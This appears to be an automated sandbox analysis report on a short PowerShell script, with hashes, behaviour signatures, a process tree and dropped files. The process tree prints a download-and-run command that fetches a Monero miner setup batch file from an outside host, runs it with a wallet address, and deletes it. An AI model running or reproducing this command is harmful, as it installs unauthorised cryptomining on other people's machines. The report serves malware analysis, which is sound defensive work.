Analysis

  • max time kernel
    141s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/06/2023, 12:44

General

  • Target

    VG0jspha.ps1

  • Size

    393B

  • MD5

    ee392eeb32913fd07992de655b708865

  • SHA1

    ce6ae0ca18735355bf4a5408eae3906c955173d5

  • SHA256

    5dfae09ca27d85e3e71f78d21b7b79c8b7250379f155cc332bf471a4b8265017

  • SHA512

    29cd6bf49e722f6091914a81b58c1aeed2a497297efb3cb56568ec515741c537552b078e5cdca3fdfa27376821f04718357b50fe568d7537cf23f39d439937ac

Score
1/10

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\VG0jspha.ps1
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command " = New-Object System.Net.WebClient; = [System.IO.Path]::GetTempFileName(); += '.bat'; .DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', ); & 877zjTW4iJEHiR34Fqz1oQWeLtRByYm9F5HeZyK8FDBrCiMKYbJYYvKZw2FNVaeCjQibufoxNL4Pb4EpLaPHafPb25BR7tK; Remove-Item -Force "
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:556
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p
    1⤵
      PID:2064

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      235a8eb126d835efb2e253459ab8b089

      SHA1

      293fbf68e6726a5a230c3a42624c01899e35a89f

      SHA256

      5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

      SHA512

      a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dbr1xfwl.pcy.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1988-138-0x000001BD7E320000-0x000001BD7E342000-memory.dmp

      Filesize

      136KB

    • memory/1988-143-0x000001BD7D9C0000-0x000001BD7D9D0000-memory.dmp

      Filesize

      64KB

    • memory/1988-144-0x000001BD7D9C0000-0x000001BD7D9D0000-memory.dmp

      Filesize

      64KB

    • memory/1988-145-0x000001BD7D9C0000-0x000001BD7D9D0000-memory.dmp

      Filesize

      64KB